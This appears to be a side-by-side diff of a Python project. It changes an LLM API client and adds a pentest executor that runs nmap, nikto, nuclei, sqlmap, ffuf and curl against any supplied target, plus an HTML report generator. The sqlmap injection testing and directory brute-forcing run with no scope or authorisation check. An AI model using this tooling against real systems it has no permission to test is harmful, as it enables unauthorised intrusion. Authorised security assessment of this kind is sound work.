user_prompt_match = re.search(r"## User Prompt\n(.*?)(?=\n## System Prompt|\Z)", content, re.DOTALL) user_prompt_match = re.search(r"## User Prompt\n(.*?)(?=\n## System Prompt|\Z)", content, re.DOTALL)
system_prompt_match = re.search(r"## System Prompt\n(.*?)(?=\n## User Prompt|\Z)", content, re.DOTALL) system_prompt_match = re.search(r"## System Prompt\n(.*?)(?=\n## User Prompt|\Z)", content, re.DOTALL)
user_prompt = user_prompt_match.group(1).strip() if user_prompt_match else "" user_prompt = user_prompt_match.group(1).strip() if user_prompt_match else ""
system_prompt = system_prompt_match.group(1).strip() if system_prompt_match else "" system_prompt = system_prompt_match.group(1).strip() if system_prompt_match else ""
# If no structured format, use entire content as system_prompt
if not user_prompt and not system_prompt:
system_prompt = content.strip()
user_prompt = "" # Will be filled with user input at runtime
logger.debug(f"Loaded {md_file.name} as full-content prompt")
if user_prompt or system_prompt: if user_prompt or system_prompt:
all_prompts["md_prompts"][prompt_name] = { all_prompts["md_prompts"][prompt_name] = {
"user_prompt": user_prompt, "user_prompt": user_prompt,
"system_prompt": system_prompt "system_prompt": system_prompt
} }
else: logger.debug(f"Loaded prompt: {prompt_name}")
logger.warning(f"No valid User or System Prompt found in {md_file.name}. Skipping.")
except Exception as e: except Exception as e:
logger.error(f"Error loading prompt from {md_file.name}: {e}") logger.error(f"Error loading prompt from {md_file.name}: {e}")
logger.info(f"Loaded {len(all_prompts['md_prompts'])} prompts from Markdown library.")
else: logger.info(f"Loaded {len(all_prompts['md_prompts'])} prompts from Markdown files.")
logger.warning(f"Markdown prompts directory not found at {self.md_prompts_dir_path}. Some AI functionalities might be limited.")
return all_prompts return all_prompts
@@ -233,63 +252,267 @@ Identify any potential hallucinations, inconsistencies, or areas where the respo
self.hallucination_mitigation_strategy = original_mitigation_state # Restore original state self.hallucination_mitigation_strategy = original_mitigation_state # Restore original state
def _generate_claude(self, prompt: str, system_prompt: Optional[str] = None) -> str: def _generate_claude(self, prompt: str, system_prompt: Optional[str] = None) -> str:
"""Generate using Claude API""" """Generate using Claude API with requests (bypasses httpx/SSL issues on macOS)"""
import anthropic if not self.api_key:
raise ValueError("ANTHROPIC_API_KEY not set. Please set the environment variable or configure in config.yaml")
client = anthropic.Anthropic(api_key=self.api_key) url = "https://api.anthropic.com/v1/messages"
headers = {
"x-api-key": self.api_key,
"anthropic-version": "2023-06-01",
"content-type": "application/json"
}
messages = [{"role": "user", "content": prompt}] data = {
"model": self.model,
"max_tokens": self.max_tokens,
"temperature": self.temperature,
"messages": [{"role": "user", "content": prompt}]
}
response = client.messages.create( if system_prompt:
model=self.model, data["system"] = system_prompt
max_tokens=self.max_tokens,
temperature=self.temperature, last_error = None
system=system_prompt or "", for attempt in range(MAX_RETRIES):
messages=messages try:
logger.debug(f"Claude API request attempt {attempt + 1}/{MAX_RETRIES}")
response = requests.post(
url,
headers=headers,
json=data,
timeout=120
) )
return response.content[0].text if response.status_code == 200:
result = response.json()
return result["content"][0]["text"]
elif response.status_code == 401:
logger.error("Claude API authentication failed. Check your ANTHROPIC_API_KEY")
raise ValueError(f"Invalid API key: {response.text}")
elif response.status_code == 429:
last_error = f"Rate limit: {response.text}"
logger.warning(f"Claude API rate limit hit (attempt {attempt + 1}/{MAX_RETRIES})")
if attempt < MAX_RETRIES - 1:
sleep_time = RETRY_DELAY * (RETRY_MULTIPLIER ** (attempt + 1))
logger.info(f"Rate limited. Retrying in {sleep_time:.1f}s...")
time.sleep(sleep_time)
elif response.status_code >= 500:
last_error = f"Server error {response.status_code}: {response.text}"
logger.warning(f"Claude API server error (attempt {attempt + 1}/{MAX_RETRIES}): {response.status_code}")
if attempt < MAX_RETRIES - 1:
sleep_time = RETRY_DELAY * (RETRY_MULTIPLIER ** attempt)
logger.info(f"Retrying in {sleep_time:.1f}s...")
time.sleep(sleep_time)
else:
logger.error(f"Claude API error: {response.status_code} - {response.text}")
raise ValueError(f"API error {response.status_code}: {response.text}")
except requests.exceptions.Timeout as e:
last_error = e
logger.warning(f"Claude API timeout (attempt {attempt + 1}/{MAX_RETRIES})")
if attempt < MAX_RETRIES - 1:
sleep_time = RETRY_DELAY * (RETRY_MULTIPLIER ** attempt)
logger.info(f"Retrying in {sleep_time:.1f}s...")
time.sleep(sleep_time)
except requests.exceptions.ConnectionError as e:
last_error = e
logger.warning(f"Claude API connection error (attempt {attempt + 1}/{MAX_RETRIES}): {e}")
if attempt < MAX_RETRIES - 1:
sleep_time = RETRY_DELAY * (RETRY_MULTIPLIER ** attempt)
logger.info(f"Retrying in {sleep_time:.1f}s...")
time.sleep(sleep_time)
except requests.exceptions.RequestException as e:
last_error = e
logger.warning(f"Claude API request error (attempt {attempt + 1}/{MAX_RETRIES}): {e}")
if attempt < MAX_RETRIES - 1:
sleep_time = RETRY_DELAY * (RETRY_MULTIPLIER ** attempt)
logger.info(f"Retrying in {sleep_time:.1f}s...")
time.sleep(sleep_time)
raise ConnectionError(f"Failed to connect to Claude API after {MAX_RETRIES} attempts: {last_error}")
def _generate_gpt(self, prompt: str, system_prompt: Optional[str] = None) -> str: def _generate_gpt(self, prompt: str, system_prompt: Optional[str] = None) -> str:
"""Generate using OpenAI GPT API""" """Generate using OpenAI GPT API with requests (bypasses SDK issues)"""
import openai if not self.api_key:
raise ValueError("OPENAI_API_KEY not set. Please set the environment variable or configure in config.yaml")
client = openai.OpenAI(api_key=self.api_key) url = "https://api.openai.com/v1/chat/completions"
headers = {
"Authorization": f"Bearer {self.api_key}",
"Content-Type": "application/json"
}
messages = [] messages = []
if system_prompt: if system_prompt:
messages.append({"role": "system", "content": system_prompt}) messages.append({"role": "system", "content": system_prompt})
messages.append({"role": "user", "content": prompt}) messages.append({"role": "user", "content": prompt})
response = client.chat.completions.create( data = {
model=self.model, "model": self.model,
messages=messages, "messages": messages,
temperature=self.temperature, "temperature": self.temperature,
max_tokens=self.max_tokens "max_tokens": self.max_tokens
}
last_error = None
for attempt in range(MAX_RETRIES):
try:
logger.debug(f"OpenAI API request attempt {attempt + 1}/{MAX_RETRIES}")
response = requests.post(
url,
headers=headers,
json=data,
timeout=120
) )
return response.choices[0].message.content if response.status_code == 200:
result = response.json()
return result["choices"][0]["message"]["content"]
elif response.status_code == 401:
logger.error("OpenAI API authentication failed. Check your OPENAI_API_KEY")
raise ValueError(f"Invalid API key: {response.text}")
elif response.status_code == 429:
last_error = f"Rate limit: {response.text}"
logger.warning(f"OpenAI API rate limit hit (attempt {attempt + 1}/{MAX_RETRIES})")
if attempt < MAX_RETRIES - 1:
sleep_time = RETRY_DELAY * (RETRY_MULTIPLIER ** (attempt + 1))
logger.info(f"Rate limited. Retrying in {sleep_time:.1f}s...")
time.sleep(sleep_time)
elif response.status_code >= 500:
last_error = f"Server error {response.status_code}: {response.text}"
logger.warning(f"OpenAI API server error (attempt {attempt + 1}/{MAX_RETRIES})")
if attempt < MAX_RETRIES - 1:
sleep_time = RETRY_DELAY * (RETRY_MULTIPLIER ** attempt)
logger.info(f"Retrying in {sleep_time:.1f}s...")
time.sleep(sleep_time)
else:
logger.error(f"OpenAI API error: {response.status_code} - {response.text}")
raise ValueError(f"API error {response.status_code}: {response.text}")
except requests.exceptions.Timeout as e:
last_error = e
logger.warning(f"OpenAI API timeout (attempt {attempt + 1}/{MAX_RETRIES})")
if attempt < MAX_RETRIES - 1:
sleep_time = RETRY_DELAY * (RETRY_MULTIPLIER ** attempt)
logger.info(f"Retrying in {sleep_time:.1f}s...")
time.sleep(sleep_time)
except requests.exceptions.ConnectionError as e:
last_error = e
logger.warning(f"OpenAI API connection error (attempt {attempt + 1}/{MAX_RETRIES}): {e}")
if attempt < MAX_RETRIES - 1:
sleep_time = RETRY_DELAY * (RETRY_MULTIPLIER ** attempt)
logger.info(f"Retrying in {sleep_time:.1f}s...")
time.sleep(sleep_time)
except requests.exceptions.RequestException as e:
last_error = e
logger.warning(f"OpenAI API request error (attempt {attempt + 1}/{MAX_RETRIES}): {e}")
if attempt < MAX_RETRIES - 1:
sleep_time = RETRY_DELAY * (RETRY_MULTIPLIER ** attempt)
logger.info(f"Retrying in {sleep_time:.1f}s...")
time.sleep(sleep_time)
raise ConnectionError(f"Failed to connect to OpenAI API after {MAX_RETRIES} attempts: {last_error}")
def _generate_gemini(self, prompt: str, system_prompt: Optional[str] = None) -> str: def _generate_gemini(self, prompt: str, system_prompt: Optional[str] = None) -> str:
"""Generate using Google Gemini API""" """Generate using Google Gemini API with requests (bypasses SDK issues)"""
import google.generativeai as genai if not self.api_key:
raise ValueError("GOOGLE_API_KEY not set. Please set the environment variable or configure in config.yaml")
genai.configure(api_key=self.api_key) # Use v1beta for generateContent endpoint
model = genai.GenerativeModel(self.model) url = f"https://generativelanguage.googleapis.com/v1beta/models/{self.model}:generateContent?key={self.api_key}"
headers = {
"Content-Type": "application/json"
}
full_prompt = prompt full_prompt = prompt
if system_prompt: if system_prompt:
full_prompt = f"{system_prompt}\n\n{prompt}" full_prompt = f"{system_prompt}\n\n{prompt}"
response = model.generate_content( data = {
full_prompt, "contents": [{"parts": [{"text": full_prompt}]}],
generation_config={ "generationConfig": {
'temperature': self.temperature, "temperature": self.temperature,
'max_output_tokens': self.max_tokens, "maxOutputTokens": self.max_tokens
} }
}
last_error = None
for attempt in range(MAX_RETRIES):
try:
logger.debug(f"Gemini API request attempt {attempt + 1}/{MAX_RETRIES}")
response = requests.post(
url,
headers=headers,
json=data,
timeout=120
) )
return response.text if response.status_code == 200:
result = response.json()
return result["candidates"][0]["content"]["parts"][0]["text"]
elif response.status_code == 401 or response.status_code == 403:
logger.error("Gemini API authentication failed. Check your GOOGLE_API_KEY")
raise ValueError(f"Invalid API key: {response.text}")
elif response.status_code == 429:
last_error = f"Rate limit: {response.text}"
logger.warning(f"Gemini API rate limit hit (attempt {attempt + 1}/{MAX_RETRIES})")
if attempt < MAX_RETRIES - 1:
sleep_time = RETRY_DELAY * (RETRY_MULTIPLIER ** (attempt + 1))
logger.info(f"Rate limited. Retrying in {sleep_time:.1f}s...")
time.sleep(sleep_time)
elif response.status_code >= 500:
last_error = f"Server error {response.status_code}: {response.text}"
logger.warning(f"Gemini API server error (attempt {attempt + 1}/{MAX_RETRIES})")
if attempt < MAX_RETRIES - 1:
sleep_time = RETRY_DELAY * (RETRY_MULTIPLIER ** attempt)
logger.info(f"Retrying in {sleep_time:.1f}s...")
time.sleep(sleep_time)
else:
logger.error(f"Gemini API error: {response.status_code} - {response.text}")
raise ValueError(f"API error {response.status_code}: {response.text}")
except requests.exceptions.Timeout as e:
last_error = e
logger.warning(f"Gemini API timeout (attempt {attempt + 1}/{MAX_RETRIES})")
if attempt < MAX_RETRIES - 1:
sleep_time = RETRY_DELAY * (RETRY_MULTIPLIER ** attempt)
logger.info(f"Retrying in {sleep_time:.1f}s...")
time.sleep(sleep_time)
except requests.exceptions.ConnectionError as e:
last_error = e
logger.warning(f"Gemini API connection error (attempt {attempt + 1}/{MAX_RETRIES}): {e}")
if attempt < MAX_RETRIES - 1:
sleep_time = RETRY_DELAY * (RETRY_MULTIPLIER ** attempt)
logger.info(f"Retrying in {sleep_time:.1f}s...")
time.sleep(sleep_time)
except requests.exceptions.RequestException as e:
last_error = e
logger.warning(f"Gemini API request error (attempt {attempt + 1}/{MAX_RETRIES}): {e}")
if attempt < MAX_RETRIES - 1:
sleep_time = RETRY_DELAY * (RETRY_MULTIPLIER ** attempt)
logger.info(f"Retrying in {sleep_time:.1f}s...")
time.sleep(sleep_time)
raise ConnectionError(f"Failed to connect to Gemini API after {MAX_RETRIES} attempts: {last_error}")
def _generate_gemini_cli(self, prompt: str, system_prompt: Optional[str] = None) -> str: def _generate_gemini_cli(self, prompt: str, system_prompt: Optional[str] = None) -> str:
"""Generate using Gemini CLI""" """Generate using Gemini CLI"""
+504
View File
@@ -0,0 +1,504 @@
#!/usr/bin/env python3
"""
Pentest Executor - Executes real pentest tools and captures outputs for PoC generation
"""
import subprocess
import shutil
import json
import re
import os
import logging
import socket
import urllib.parse
from typing import Dict, List, Optional, Any
from datetime import datetime
from dataclasses import dataclass, field, asdict
logger = logging.getLogger(__name__)
@dataclass
class Vulnerability:
"""Represents a discovered vulnerability with PoC"""
title: str
severity: str # Critical, High, Medium, Low, Info
cvss_score: float
cvss_vector: str
description: str
affected_endpoint: str
impact: str
poc_request: str
poc_response: str
poc_payload: str
remediation: str
references: List[str] = field(default_factory=list)
cwe_id: str = ""
tool_output: str = ""
timestamp: str = field(default_factory=lambda: datetime.now().isoformat())
@dataclass
class ScanResult:
"""Contains all scan results and findings"""
target: str
scan_started: str
scan_completed: str = ""
tools_executed: List[Dict] = field(default_factory=list)
vulnerabilities: List[Vulnerability] = field(default_factory=list)
open_ports: List[Dict] = field(default_factory=list)
technologies: List[str] = field(default_factory=list)
raw_outputs: Dict[str, str] = field(default_factory=dict)
class PentestExecutor:
"""Executes real pentest tools and captures outputs"""
def __init__(self, target: str, config: Dict = None):
self.target = self._normalize_target(target)
self.config = config or {}
self.scan_result = ScanResult(
target=self.target,
scan_started=datetime.now().isoformat()
)
self.timeout = 300 # 5 minutes default timeout
def _normalize_target(self, target: str) -> str:
"""Normalize target URL/IP"""
target = target.strip()
if not target.startswith(('http://', 'https://')):
# Check if it's an IP
try:
socket.inet_aton(target.split('/')[0].split(':')[0])
return target # It's an IP
except socket.error:
# Assume it's a domain
return f"https://{target}"
return target
def _get_domain(self) -> str:
"""Extract domain from target"""
parsed = urllib.parse.urlparse(self.target)
return parsed.netloc or parsed.path.split('/')[0]
def _get_ip(self) -> Optional[str]:
"""Resolve target to IP"""
try:
domain = self._get_domain()
return socket.gethostbyname(domain.split(':')[0])
except socket.error:
return None
def _run_command(self, cmd: List[str], timeout: int = None) -> Dict:
"""Run a command and capture output"""
timeout = timeout or self.timeout
tool_name = cmd[0] if cmd else "unknown"
result = {
"tool": tool_name,
"command": " ".join(cmd),
"success": False,
"stdout": "",
"stderr": "",
"exit_code": -1,
"timestamp": datetime.now().isoformat()
}
# Check if tool exists
if not shutil.which(cmd[0]):
result["stderr"] = f"Tool '{cmd[0]}' not found. Please install it using 'install_tools' command."
logger.warning(f"Tool not found: {cmd[0]}")
return result
try:
print(f"[*] Executing: {' '.join(cmd)}")
logger.info(f"Executing: {' '.join(cmd)}")
proc = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=timeout
)
result["stdout"] = proc.stdout
result["stderr"] = proc.stderr
result["exit_code"] = proc.returncode
result["success"] = proc.returncode == 0
except subprocess.TimeoutExpired:
result["stderr"] = f"Command timed out after {timeout} seconds"
logger.warning(f"Timeout: {' '.join(cmd)}")
except Exception as e:
result["stderr"] = str(e)
logger.error(f"Error executing {cmd[0]}: {e}")
self.scan_result.tools_executed.append(result)
self.scan_result.raw_outputs[tool_name] = result["stdout"]
return result
def run_nmap_scan(self, ports: str = "1-1000", extra_args: List[str] = None) -> Dict:
"""Run nmap port scan"""
domain = self._get_domain()
cmd = ["nmap", "-sV", "-sC", "-p", ports, "--open", domain]
if extra_args:
cmd.extend(extra_args)
result = self._run_command(cmd)
if result["success"]:
self._parse_nmap_output(result["stdout"])
return result
def _parse_nmap_output(self, output: str):
"""Parse nmap output for open ports"""
port_pattern = r"(\d+)/(\w+)\s+open\s+(\S+)\s*(.*)"
for match in re.finditer(port_pattern, output):
port_info = {
"port": int(match.group(1)),
"protocol": match.group(2),
"service": match.group(3),
"version": match.group(4).strip()
}
self.scan_result.open_ports.append(port_info)
print(f" [+] Found: {port_info['port']}/{port_info['protocol']} - {port_info['service']} {port_info['version']}")
def run_nikto_scan(self) -> Dict:
"""Run nikto web vulnerability scan"""
cmd = ["nikto", "-h", self.target, "-Format", "txt", "-nointeractive"]
result = self._run_command(cmd, timeout=600)
if result["success"] or result["stdout"]:
self._parse_nikto_output(result["stdout"])
return result
def _parse_nikto_output(self, output: str):
"""Parse nikto output for vulnerabilities"""
vuln_patterns = [
(r"OSVDB-\d+:.*", "Medium"),
(r"\+ (/[^\s]+).*SQL injection", "High"),
(r"\+ (/[^\s]+).*XSS", "High"),
(r"\+ The X-XSS-Protection header", "Low"),
(r"\+ The X-Content-Type-Options header", "Low"),
(r"\+ Server leaks", "Medium"),
(r"\+ Retrieved x-powered-by header", "Info"),
]
for line in output.split('\n'):
for pattern, severity in vuln_patterns:
if re.search(pattern, line, re.IGNORECASE):
vuln = Vulnerability(
title=line.strip()[:100],
severity=severity,
cvss_score=self._severity_to_cvss(severity),
cvss_vector="",
description=line.strip(),
affected_endpoint=self.target,
impact=f"{severity} severity finding detected by Nikto",
poc_request=f"GET {self.target} HTTP/1.1",
poc_response="See tool output",
poc_payload="N/A - Passive scan",
remediation="Review and fix the identified issue",
tool_output=line
)
self.scan_result.vulnerabilities.append(vuln)
def run_nuclei_scan(self, templates: str = None) -> Dict:
"""Run nuclei vulnerability scan"""
cmd = ["nuclei", "-u", self.target, "-silent", "-nc", "-j"]
if templates:
cmd.extend(["-t", templates])
result = self._run_command(cmd, timeout=600)
if result["stdout"]:
self._parse_nuclei_output(result["stdout"])
return result
def _parse_nuclei_output(self, output: str):
"""Parse nuclei JSON output for vulnerabilities"""
for line in output.strip().split('\n'):
if not line.strip():
continue
try:
finding = json.loads(line)
severity = finding.get("info", {}).get("severity", "unknown").capitalize()
vuln = Vulnerability(
title=finding.get("info", {}).get("name", "Unknown"),
severity=severity,
cvss_score=self._severity_to_cvss(severity),
cvss_vector=finding.get("info", {}).get("classification", {}).get("cvss-metrics", ""),
description=finding.get("info", {}).get("description", ""),
affected_endpoint=finding.get("matched-at", self.target),
impact=finding.get("info", {}).get("impact", f"{severity} severity vulnerability"),
poc_request=finding.get("curl-command", f"curl -X GET '{finding.get('matched-at', self.target)}'"),
poc_response=finding.get("response", "")[:500] if finding.get("response") else "See tool output",
poc_payload=finding.get("matcher-name", "Template-based detection"),
remediation=finding.get("info", {}).get("remediation", "Apply vendor patches"),
references=finding.get("info", {}).get("reference", []),
cwe_id=str(finding.get("info", {}).get("classification", {}).get("cwe-id", "")),
tool_output=json.dumps(finding, indent=2)
)
self.scan_result.vulnerabilities.append(vuln)
print(f" [!] {severity}: {vuln.title} at {vuln.affected_endpoint}")
except json.JSONDecodeError:
continue
def run_sqlmap_scan(self, param: str = None) -> Dict:
"""Run sqlmap SQL injection scan"""
cmd = ["sqlmap", "-u", self.target, "--batch", "--level=2", "--risk=2",
"--random-agent", "--threads=5", "--output-dir=/tmp/sqlmap_output"]
if param:
cmd.extend(["--param", param])
result = self._run_command(cmd, timeout=600)
if result["stdout"]:
self._parse_sqlmap_output(result["stdout"])
return result
def _parse_sqlmap_output(self, output: str):
"""Parse sqlmap output for SQL injection vulnerabilities"""
if "is vulnerable" in output.lower() or "injection" in output.lower():
# Extract injection details
vuln_type = "Blind" if "blind" in output.lower() else "Error-based"
if "union" in output.lower():
vuln_type = "UNION-based"
elif "time-based" in output.lower():
vuln_type = "Time-based blind"
# Extract payload
payload_match = re.search(r"Payload: (.+)", output)
payload = payload_match.group(1) if payload_match else "See tool output"
vuln = Vulnerability(
title=f"SQL Injection ({vuln_type})",
severity="Critical",
cvss_score=9.8,
cvss_vector="CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
description=f"SQL Injection vulnerability detected. Type: {vuln_type}. This allows an attacker to manipulate database queries.",
affected_endpoint=self.target,
impact="Complete database compromise. Attacker can read, modify, or delete data. Potential for remote code execution.",
poc_request=f"GET {self.target}?param={payload} HTTP/1.1\nHost: {self._get_domain()}\nUser-Agent: Mozilla/5.0",
poc_response="Database error or data disclosure in response",
poc_payload=payload,
remediation="Use parameterized queries/prepared statements. Implement input validation. Apply least privilege to database accounts.",
cwe_id="CWE-89",
references=["https://owasp.org/www-community/attacks/SQL_Injection"],
tool_output=output[:2000]
)
self.scan_result.vulnerabilities.append(vuln)
print(f" [!!!] CRITICAL: SQL Injection found!")
def run_ffuf_scan(self, wordlist: str = "/usr/share/wordlists/dirb/common.txt") -> Dict:
"""Run ffuf directory/file bruteforce"""
target_url = self.target.rstrip('/') + "/FUZZ"
cmd = ["ffuf", "-u", target_url, "-w", wordlist, "-mc", "200,301,302,403",
"-o", "/tmp/ffuf_output.json", "-of", "json", "-t", "50"]
result = self._run_command(cmd, timeout=300)
# Parse output file if exists
if os.path.exists("/tmp/ffuf_output.json"):
try:
with open("/tmp/ffuf_output.json", "r") as f:
ffuf_data = json.load(f)
for res in ffuf_data.get("results", []):
print(f" [+] Found: {res.get('url')} (Status: {res.get('status')})")
except:
pass
return result
def run_curl_test(self, method: str = "GET", path: str = "/", headers: Dict = None, data: str = None) -> Dict:
"""Run curl request and capture full request/response"""
url = self.target.rstrip('/') + path
cmd = ["curl", "-v", "-s", "-k", "-X", method, url]
if headers:
for k, v in headers.items():
cmd.extend(["-H", f"{k}: {v}"])
if data:
cmd.extend(["-d", data])
result = self._run_command(cmd)
return result
def run_http_security_check(self) -> Dict:
"""Check HTTP security headers"""
cmd = ["curl", "-s", "-I", "-k", self.target]
result = self._run_command(cmd)
if result["success"]:
self._parse_security_headers(result["stdout"])
return result
def _parse_security_headers(self, headers: str):
"""Parse response headers for security issues"""
required_headers = {
"X-Frame-Options": ("Missing X-Frame-Options", "Medium", "Clickjacking protection"),
"X-Content-Type-Options": ("Missing X-Content-Type-Options", "Low", "MIME type sniffing protection"),
"X-XSS-Protection": ("Missing X-XSS-Protection", "Low", "XSS filter"),
"Strict-Transport-Security": ("Missing HSTS Header", "Medium", "HTTPS enforcement"),
"Content-Security-Policy": ("Missing Content-Security-Policy", "Medium", "XSS/injection protection"),
}
headers_lower = headers.lower()
for header, (title, severity, desc) in required_headers.items():
if header.lower() not in headers_lower:
vuln = Vulnerability(
title=title,
severity=severity,
cvss_score=self._severity_to_cvss(severity),
cvss_vector="",
description=f"The {header} header is not set. This header provides {desc}.",
affected_endpoint=self.target,
impact=f"Missing {desc} could lead to attacks",
poc_request=f"curl -I {self.target}",
poc_response=headers[:500],
poc_payload="N/A - Header check",
remediation=f"Add the {header} header to all HTTP responses",
cwe_id="CWE-693"
)
self.scan_result.vulnerabilities.append(vuln)
def run_whatweb_scan(self) -> Dict:
"""Run whatweb technology detection"""
cmd = ["whatweb", "-a", "3", "--color=never", self.target]
result = self._run_command(cmd)
if result["stdout"]:
# Extract technologies
techs = re.findall(r'\[([^\]]+)\]', result["stdout"])
self.scan_result.technologies.extend(techs[:20])
print(f" [+] Technologies: {', '.join(techs[:10])}")
return result
def _severity_to_cvss(self, severity: str) -> float:
"""Convert severity to CVSS score"""
mapping = {
"critical": 9.5,
"high": 7.5,
"medium": 5.5,
"low": 3.0,
"info": 0.0,
"unknown": 0.0
}
return mapping.get(severity.lower(), 0.0)
def run_full_scan(self) -> ScanResult:
"""Run a complete pentest scan"""
print(f"\n{'='*60}")
print(f"[*] Starting Full Pentest Scan on: {self.target}")
print(f"{'='*60}\n")
# Phase 1: Reconnaissance
print("[Phase 1] Reconnaissance")
print("-" * 40)
print("[*] Running port scan...")
self.run_nmap_scan()
print("\n[*] Running technology detection...")
self.run_whatweb_scan()
print("\n[*] Checking security headers...")
self.run_http_security_check()
# Phase 2: Vulnerability Scanning
print(f"\n[Phase 2] Vulnerability Scanning")
print("-" * 40)
print("[*] Running Nuclei scan...")
self.run_nuclei_scan()
print("\n[*] Running Nikto scan...")
self.run_nikto_scan()
# Phase 3: Specific Tests
print(f"\n[Phase 3] Specific Vulnerability Tests")
print("-" * 40)
print("[*] Testing for SQL Injection...")
self.run_sqlmap_scan()
print("\n[*] Running directory enumeration...")
self.run_ffuf_scan()
# Complete scan
self.scan_result.scan_completed = datetime.now().isoformat()
print(f"\n{'='*60}")
print(f"[*] Scan Complete!")
print(f" - Tools Executed: {len(self.scan_result.tools_executed)}")
print(f" - Vulnerabilities Found: {len(self.scan_result.vulnerabilities)}")
print(f" - Open Ports: {len(self.scan_result.open_ports)}")
print(f"{'='*60}\n")
return self.scan_result
def run_quick_scan(self) -> ScanResult:
"""Run a quick scan with essential tools only"""
print(f"\n{'='*60}")
print(f"[*] Starting Quick Scan on: {self.target}")
print(f"{'='*60}\n")
print("[*] Running port scan (top 100 ports)...")
self.run_nmap_scan(ports="1-100")
print("\n[*] Checking security headers...")
self.run_http_security_check()
print("\n[*] Running Nuclei scan...")
self.run_nuclei_scan()
self.scan_result.scan_completed = datetime.now().isoformat()
print(f"\n{'='*60}")
print(f"[*] Quick Scan Complete!")
print(f" - Vulnerabilities Found: {len(self.scan_result.vulnerabilities)}")
print(f"{'='*60}\n")
return self.scan_result
def get_findings_summary(self) -> Dict:
"""Get summary of findings"""
severity_count = {"Critical": 0, "High": 0, "Medium": 0, "Low": 0, "Info": 0}
for vuln in self.scan_result.vulnerabilities:
sev = vuln.severity.capitalize()
if sev in severity_count:
severity_count[sev] += 1
return {
"target": self.target,
"total_vulnerabilities": len(self.scan_result.vulnerabilities),
"severity_breakdown": severity_count,
"open_ports": len(self.scan_result.open_ports),
"technologies": self.scan_result.technologies,
"tools_executed": len(self.scan_result.tools_executed)
}
def to_dict(self) -> Dict:
"""Convert scan results to dictionary"""
return {
"target": self.scan_result.target,
"scan_started": self.scan_result.scan_started,
"scan_completed": self.scan_result.scan_completed,
"tools_executed": self.scan_result.tools_executed,
"vulnerabilities": [asdict(v) for v in self.scan_result.vulnerabilities],
"open_ports": self.scan_result.open_ports,
"technologies": self.scan_result.technologies,
"summary": self.get_findings_summary()
}
+639
View File
@@ -0,0 +1,639 @@
#!/usr/bin/env python3
"""
Professional Pentest Report Generator
Generates detailed reports with PoCs, CVSS scores, requests/responses
"""
import json
import os
from datetime import datetime
from typing import Dict, List, Any
import html
import logging
logger = logging.getLogger(__name__)
class ReportGenerator:
"""Generates professional penetration testing reports"""
def __init__(self, scan_results: Dict, llm_analysis: str = ""):
self.scan_results = scan_results
self.llm_analysis = llm_analysis
self.timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
def _get_severity_color(self, severity: str) -> str:
"""Get color for severity level"""
colors = {
"critical": "#dc3545",
"high": "#fd7e14",
"medium": "#ffc107",
"low": "#17a2b8",
"info": "#6c757d"
}
return colors.get(severity.lower(), "#6c757d")
def _get_severity_badge(self, severity: str) -> str:
"""Get HTML badge for severity"""
color = self._get_severity_color(severity)
return f'<span class="badge" style="background-color: {color}; color: white; padding: 5px 10px; border-radius: 4px;">{severity.upper()}</span>'
def _escape_html(self, text: str) -> str:
"""Escape HTML characters"""
if not text:
return ""
return html.escape(str(text))
def _format_code_block(self, code: str, language: str = "") -> str:
"""Format code block with syntax highlighting"""
escaped = self._escape_html(code)
return f'<pre><code class="language-{language}">{escaped}</code></pre>'
def generate_executive_summary(self) -> str:
"""Generate executive summary section"""
summary = self.scan_results.get("summary", {})
severity = summary.get("severity_breakdown", {})
total = summary.get("total_vulnerabilities", 0)
critical = severity.get("Critical", 0)
high = severity.get("High", 0)
medium = severity.get("Medium", 0)
low = severity.get("Low", 0)
risk_level = "Critical" if critical > 0 else "High" if high > 0 else "Medium" if medium > 0 else "Low"
return f"""
<div class="card executive-summary">
<div class="card-header">
<h2>Executive Summary</h2>
</div>
<div class="card-body">
<div class="row">
<div class="col-md-6">
<h4>Assessment Overview</h4>
<table class="table">
<tr><td><strong>Target:</strong></td><td>{self._escape_html(self.scan_results.get('target', 'N/A'))}</td></tr>
<tr><td><strong>Scan Started:</strong></td><td>{self.scan_results.get('scan_started', 'N/A')}</td></tr>
<tr><td><strong>Scan Completed:</strong></td><td>{self.scan_results.get('scan_completed', 'N/A')}</td></tr>
<tr><td><strong>Overall Risk Level:</strong></td><td>{self._get_severity_badge(risk_level)}</td></tr>
</table>
</div>
<div class="col-md-6">
<h4>Findings Summary</h4>
<div class="severity-chart">
<div class="severity-bar critical" style="width: {critical * 20}%">{critical} Critical</div>
<div class="severity-bar high" style="width: {high * 20}%">{high} High</div>
<div class="severity-bar medium" style="width: {medium * 20}%">{medium} Medium</div>
<div class="severity-bar low" style="width: {low * 20}%">{low} Low</div>
</div>
<p class="mt-3"><strong>Total Vulnerabilities:</strong> {total}</p>
<p><strong>Open Ports Found:</strong> {summary.get('open_ports', 0)}</p>
<p><strong>Tools Executed:</strong> {summary.get('tools_executed', 0)}</p>
</div>
</div>
</div>
</div>
"""
def generate_vulnerability_card(self, vuln: Dict, index: int) -> str:
"""Generate HTML card for a single vulnerability"""
severity = vuln.get("severity", "Unknown")
color = self._get_severity_color(severity)
# Build references list
refs_html = ""
if vuln.get("references"):
refs_html = "<ul>"
for ref in vuln.get("references", [])[:5]:
refs_html += f'<li><a href="{self._escape_html(ref)}" target="_blank">{self._escape_html(ref)}</a></li>'
refs_html += "</ul>"
return f"""
<div class="vulnerability-card" id="vuln-{index}">
<div class="vuln-header" style="border-left: 5px solid {color};">
<div class="vuln-title">
<h3>{self._escape_html(vuln.get('title', 'Unknown Vulnerability'))}</h3>
<div class="vuln-meta">
{self._get_severity_badge(severity)}
<span class="cvss-score">CVSS: {vuln.get('cvss_score', 'N/A')}</span>
{f'<span class="cwe-id">CWE: {vuln.get("cwe_id")}</span>' if vuln.get('cwe_id') else ''}
</div>
</div>
</div>
<div class="vuln-body">
<div class="vuln-section">
<h4>Description</h4>
<p>{self._escape_html(vuln.get('description', 'No description available'))}</p>
</div>
<div class="vuln-section">
<h4>Affected Endpoint</h4>
<code class="endpoint">{self._escape_html(vuln.get('affected_endpoint', 'N/A'))}</code>
</div>
<div class="vuln-section">
<h4>Impact</h4>
<p>{self._escape_html(vuln.get('impact', 'Impact not assessed'))}</p>
</div>
<div class="vuln-section poc-section">
<h4>Proof of Concept (PoC)</h4>
<div class="poc-item">
<h5>Request</h5>
{self._format_code_block(vuln.get('poc_request', 'N/A'), 'http')}
</div>
